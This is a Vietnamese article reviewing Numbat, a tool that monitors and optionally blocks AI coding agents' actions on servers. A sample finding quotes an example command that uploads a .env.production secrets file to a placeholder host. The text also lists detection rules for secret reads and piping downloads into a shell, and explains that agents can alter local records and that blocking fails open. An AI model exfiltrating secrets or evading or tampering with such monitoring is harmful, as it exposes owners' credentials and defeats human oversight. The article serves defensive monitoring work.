Numbat: Theo dõi AI agent làm gì trên server

Numbat là gì

Numbat giúp bạn biết một AI agent đã làm gì trên máy do bạn quản lý. Nó đọc các hook callback và session file mà các coding agent đã tạo sẵn, chuẩn hóa chúng thành một định dạng event duy nhất, rồi đối chiếu với các rule kích hoạt khi phát hiện hành vi như đọc private key của SSH hoặc pipe trực tiếp một file tải xuống vào shell. Perplexity phát hành Numbat dưới dạng mã nguồn mở theo giấy phép Apache 2.0; bản phát hành đầu tiên có tag là ngày 29 July 2026.

Toàn bộ nội dung dưới đây lấy từ repository của dự án và tài liệu do dự án cung cấp, được đọc vào ngày 2 August 2026. Khi Perplexity đưa ra một nhận định, bài viết này sẽ nói rõ đó là nhận định của Perplexity. Đây không phải là hướng dẫn cài đặt, vì repository mới được tạo vài ngày và các command trong đó sẽ thay đổi.

Vấn đề: không ai ghi lại agent đã làm gì

Một coding agent trên VPS của bạn chạy các lệnh shell, đọc file, ghi file và mở các kết nối mạng, tất cả đều bằng user mà bạn đã cấp cho nó. Shell history không ghi lại các thao tác đó vì agent không nhập lệnh vào shell của bạn. sshd chỉ log lần đăng nhập của bạn, không ghi lại những gì model quyết định thực hiện sau đó. /var/log/auth.log vẫn im lặng trừ khi có tiến trình truy cập sudo. Agent có transcript riêng, nhưng file đó nằm trong thư mục session của agent, format có thể thay đổi giữa các release, và chính process của agent có thể ghi vào file đó.

Vì vậy, khi có người hỏi agent có đọc .env.production vào thứ Ba tuần trước hay không, câu trả lời trung thực trên hầu hết server là bạn không thể xác định được. Khoảng trống này là lý do project này tồn tại.

Perplexity tuyên bố Numbat làm gì

README mở đầu bằng cách mô tả công cụ này là “khả năng quan sát hoạt động của AI agent tại endpoint, với phát hiện cục bộ, tùy chọn chặn trước hành động và tái dựng phục vụ điều tra”. Endpoint ở đây là máy chạy agent, không phải thiết bị mạng theo dõi từ bên ngoài. Đây là các khả năng riêng biệt và mức độ quan trọng của chúng cũng khác nhau.

Phát hiện được thực hiện trên thiết bị. Các rule được viết bằng CEL (common expression language) và được đánh giá cục bộ, bên trên có các rule cho chuỗi nhiều bước và hỗ trợ rule riêng của bạn trong YAML. Không có dữ liệu nào phải rời khỏi máy để một rule được kích hoạt.

Chặn là tùy chọn và có phạm vi hẹp. Tính năng này chỉ hoạt động thông qua các pre-action hook đồng bộ, trên những agent có hỗ trợ hook đó, và mặc định được tắt cho đến khi bạn bật.

Tái dựng được thực hiện sau khi sự việc xảy ra. numbat scan phân tích các session artifact mà agent đã ghi vào disk, vì vậy bạn có thể xem hoạt động từ trước khi cài bất kỳ thứ gì. Project nêu rõ giới hạn của tuyên bố này: “Tái dựng dữ liệu lưu trữ không phải là thu thập disk hoặc memory và không thể khôi phục hoạt động mà agent không persist.”

Output là NDJSON có version (JSON phân tách bằng newline), bao gồm event, finding, quyết định enforcement, indicator và tóm tắt scan, với schema version 0.2.0 tính đến v0.1.2. Record được ghi vào stdout hoặc một local file, và tùy chọn gửi qua HTTP đến collector do bạn vận hành. Công cụ được phát hành dưới dạng một Go binary tĩnh duy nhất, build không có cgo, cho macOS, Linux và Windows trên amd64 và arm64. Vì vậy, trên một Linux VPS, đây là một file duy nhất và không cần cài runtime trước.

Numbat thực sự nhìn thấy những agent nào?

Ma trận phạm vi hỗ trợ trong docs/agent-coverage.md là danh sách chính thức và không đồng đều. Dự án nêu rõ điều đó thay vì che giấu. Claude Code, Codex, Gemini CLI, Cursor và GitHub Copilot CLI đều hỗ trợ quét artifact và thu thập dữ liệu trực tiếp bằng pre-action hook. OpenClaw có plugin native từ phiên bản 2026.7.1 trở đi. Nhiều mục khác được đánh dấu là deferred. Điều đó có nghĩa là đã có đường dẫn live hook nhưng chưa có bộ phân tích artifact. Nguyên nhân thường là agent lưu lịch sử trong SQLite cùng write-ahead log, không an toàn để đọc khi agent đang chạy. OpenCode và Cline thuộc nhóm này khi ma trận được kiểm tra vào ngày 2 tháng 8 năm 2026.

Hãy kiểm tra dòng tương ứng với agent của bạn trước khi lập kế hoạch sử dụng tool này. "Được hỗ trợ" có ý nghĩa khác nhau ở gần như mọi dòng.

Một phát hiện trông như thế nào

Các rule có id cho biết mục đích của chúng. secrets.read_private_key phát hiện key SSH, thông tin xác thực AWS, kube config hoặc thông tin đăng nhập package registry. exec.download_pipe_shell kích hoạt khi output của curl hoặc wget được pipe vào một interpreter. privilege.elevated_shell phát hiện yêu cầu mở root shell tương tác thông qua sudo, doas, su hoặc pkexec. impact.cryptomining_launch khớp với các binary miner và image name đã biết.

Các rule theo chuỗi liên kết những event xảy ra trong cùng một session. chain.secret_read_then_egress yêu cầu có thao tác đọc file chứa secret, sau đó là một command đưa dữ liệu ra ngoài. README công bố finding dưới đây từ lần replay có kiểm soát của hai callback pre-action của Claude Code, không phải từ một sự cố đang diễn ra. Ở đây, finding đã được rút gọn còn các field quan trọng:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Lưu ý "confidence": "medium" nằm bên trong record. Đồng thời, lưu ý cách project mô tả toàn bộ loại output này: "Findings are rule matches, not proof of compromise." Một deploy script đọc key rồi upload build artifact cũng sẽ khớp với cùng sequence rule đó. Match là đúng, nhưng alarm là sai. Đây là trạng thái bình thường của mọi detection tool bạn từng chạy.

Mặc định tính năng block bị tắt và khi lỗi thì hệ thống cho phép tiếp tục

Mọi rule mà Numbat phát hành đều chỉ ở chế độ monitor. Chuyển một rule sang chế độ block cần thực hiện có chủ ý: sao chép toàn bộ YAML của rule vào thư mục riêng, giữ nguyên id, thêm enforce: true, tăng version, sau đó validate và cài policy đó.

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

Bây giờ là phần quyết định mức độ bạn nên tin cậy tính năng này. Deny của Numbat là một response được gửi lại cho agent, còn agent mới là thành phần thực sự từ chối tool call. Hướng dẫn enforcement nói rõ điều xảy ra khi chính Numbat gặp lỗi: "Payload sai định dạng, lỗi evaluation liên quan, panic và lỗi output sẽ suppress deny của numbat." Input của hook bị giới hạn ở 4 MiB; input vượt quá giới hạn cũng đi theo cùng đường xử lý.

Hướng dẫn cũng nói rõ giới hạn của một deny đã được gửi: "Fail-open nghĩa là numbat không gửi response deny. Điều đó không bảo đảm tool sẽ được thực thi: host vẫn có thể yêu cầu xác nhận, từ chối, hết thời gian chờ hoặc áp dụng hook hay policy khác."

Vì vậy, enforcement ở đây là một lớp bảo vệ, không phải ranh giới bảo mật. Nếu process bị crash, action không bị Numbat block, vì một monitor khiến agent của bạn bị treo mỗi khi nó gặp sự cố sẽ bị gỡ trong vòng một tuần. Đây là một đánh đổi hợp lý. Tuy nhiên, đừng xây dựng security model dựa trên giả định rằng deny luôn được gửi đến.

Numbat bổ sung cho quy trình hiện tại của bạn như thế nào

Numbat chạy trên endpoint, bên trong process tree riêng của agent, và mặc định ghi vào ~/.numbat/records.ndjson. Agent chạy dưới user của bạn có thể đọc file đó. Agent cũng có thể sửa file. Audit trail chỉ có giá trị tương ứng với mức độ isolation bảo vệ nó. Vì vậy, mọi control bạn đang có đều phải nằm trước Numbat, không phải phía sau nó.

Cho coding agent chạy trong một VM dùng một lần giới hạn phạm vi mà một lần chạy lỗi có thể truy cập. Dùng user có least privilege trên VPS ngăn agent mở những file không thuộc phạm vi công việc. Không đưa credential vào context của agent giúp một secrets.read_private_key đủ hiếm để đáng đọc khi nó xuất hiện. Còn sandbox bạn thiết lập cho Claude Code trên VPS vẫn là thành phần thực hiện việc containment. Containment giới hạn những gì một lần chạy lỗi có thể chạm tới, còn ghi lại lý do code được thiết kế theo cách đó làm giảm số lần agent thực hiện điều gì đó bất ngờ đến mức bạn phải kiểm tra log.

Numbat bổ sung bản ghi, vì vậy hãy gửi bản ghi đến nơi agent không thể truy cập. numbat ship và HTTP sink phục vụ việc đó. Một bản sao của stream trên máy thứ hai là ranh giới giữa một log file và bằng chứng. Event model cũng chứa các field MCP (model context protocol), nên các tool call đi qua một MCP server bạn host trên VPS sẽ nằm trong cùng stream với các lệnh shell cục bộ. Điều này quan trọng vì đường đi đó không thể bị phát hiện bởi những thứ chỉ theo dõi bash. Blind spot tương tự cũng áp dụng cho một instance SearXNG được cấu hình làm search backend của agent, nơi rủi ro xuất hiện dưới dạng nội dung trang không đáng tin đi vào context của model, thay vì một lệnh mà rule có thể match.

Thử ở chế độ chỉ đọc trước

Cài đặt một phiên bản được ghim. Cần Go 1.26.5 hoặc mới hơn cho go install. Trang releases có các binary dựng sẵn kèm checksum SHA-256 nếu bạn không muốn build từ source.

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents phát hiện các agent đã cài trên máy. numbat scan phân tích các session artifact đã có trên disk và in ra các record. README nêu rõ các lệnh này “không cài hook hoặc thay đổi cấu hình agent”, đồng thời numbat “không bao giờ thực thi agent hoặc command được tìm thấy trong artifact, và chỉ gửi outbound request đến các HTTP sink đã cấu hình”. Quá trình scan chỉ đọc và redaction secret. Output record thông thường không bao gồm toàn bộ raw transcript.

Live capture là bước tiếp theo và bước này có thay đổi cấu hình agent:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all ghi event, finding, indicator và các quyết định enforcement áp dụng được vào ~/.numbat/records.ndjson. Dự án đưa ra 2 cảnh báo trực tiếp. Có thể cần trust hook bên trong agent trước khi hook được chạy. Sau khi thay đổi các flag như --enforce, bạn cũng phải xem xét lại trust đó. Ngoài ra, hook status “xác minh cấu hình, không xác minh việc thực thi hoặc phân phối”. Vì vậy, một dòng status báo healthy không chứng minh record đang được gửi đến nơi nào đó.

Vì sao một repository mới như vậy chưa nên là dependency

Bản phát hành public gồm v0.1.1 vào ngày 29 tháng 7 năm 2026 và v0.1.2 vào ngày 1 tháng 8 năm 2026. Repository có 597 star khi bài viết này được soạn vào ngày 2 tháng 8 năm 2026. Tốc độ tăng này phản ánh audience của Perplexity, không phản ánh code hoạt động ổn định đến đâu. Một star chỉ có nghĩa là ai đó đã lưu trang để xem lại sau.

Số phiên bản phản ánh đúng mức độ hoàn thiện hiện tại. Ghi chú của v0.1.2 chủ yếu là các bản sửa lỗi redaction credential, cùng với việc chuẩn hóa case bundle và telemetry. Lỗi redaction là dạng lỗi thường gặp ở giai đoạn đầu của một tool có nhiệm vụ đọc an toàn transcript của các chương trình khác. Sẽ còn thêm những lỗi như vậy, vì input đến từ một dozen agent và mỗi agent tự thay đổi format theo lịch riêng.

Có 2 quy tắc thực tế. Hãy pin tag, không bao giờ @latest, trong mọi thứ bạn lưu giữ. Và hãy xem đây là một công cụ đang được đánh giá, không phải một thành phần kiểm soát mà bạn phụ thuộc vào, ít nhất cho đến khi schema của record ngừng thay đổi.

FAQ

Numbat có chặn các lệnh nguy hiểm của AI agent không?

Chỉ khi bạn chủ động bật và chỉ ở mức best effort. Mọi rule mà Numbat cung cấp đều chỉ monitor. Để chặn, bạn sao chép YAML của rule vào thư mục riêng, giữ nguyên id, thêm enforce: true, tăng version rồi cài hook bằng --enforce. Ngay cả khi đó, lệnh deny vẫn là một response gửi lại cho agent, và chính agent sẽ từ chối call. Project ghi rõ cơ chế fail-open: payload sai định dạng, lỗi evaluation, panic và lỗi output đều khiến lệnh deny bị bỏ qua. Hãy xem đây là một guardrail, không phải boundary duy nhất.

Numbat hỗ trợ những AI agent nào?

Mức độ hỗ trợ khác nhau tùy agent và được liệt kê trong docs/agent-coverage.md của repository. Claude Code, Codex, Gemini CLI, Cursor và GitHub Copilot CLI có cả artifact scanning và live capture tại thời điểm trang đó được đọc vào ngày 2 August 2026. OpenClaw có native plugin từ version 2026.7.1. Nhiều agent khác có live hook path nhưng chưa có artifact parser, thường vì lịch sử session của chúng nằm trong SQLite database và không an toàn khi đọc lúc agent đang chạy. Hãy đọc đúng dòng của agent bạn dùng, vì từ “supported” ở đó bao gồm nhiều mức độ khác nhau.

Agent có thể can thiệp vào record của Numbat không?

Có, nếu agent chạy dưới cùng user. Mặc định, record được lưu tại ~/.numbat/records.ndjson trên cùng máy với agent. Vì vậy, bất kỳ process nào có quyền ghi vào path đó đều có thể sửa hoặc xóa record. Hãy gửi stream đến một collector mà agent không thể truy cập bằng numbat ship hoặc HTTP sink, đồng thời giữ file cục bộ làm bản sao tiện dụng. Đây cũng là lý do tool này bổ sung cho isolation thay vì thay thế isolation. Agent bị giới hạn trong một disposable VM và chạy dưới user có least privilege sẽ ít khả năng truy cập audit trail của chính nó hơn nhiều.

Numbat đã sẵn sàng cho production server chưa?

Chưa, nếu bạn định phụ thuộc vào nó như một control. Public release đầu tiên là v0.1.1 vào ngày 29 July 2026 và v0.1.2 được phát hành tiếp vào ngày 1 August 2026. Vì vậy, các flag và record schema vẫn đang thay đổi. Chạy numbat agents và numbat scan trên một máy chủ chỉ đọc và có rủi ro thấp. Các lệnh này cho bạn biết agent đã để lại những gì trên disk. Cài enforcement hook trên một server quan trọng là quyết định khác. Bạn nên pin tag và có kế hoạch xử lý khi hook hoạt động không đúng.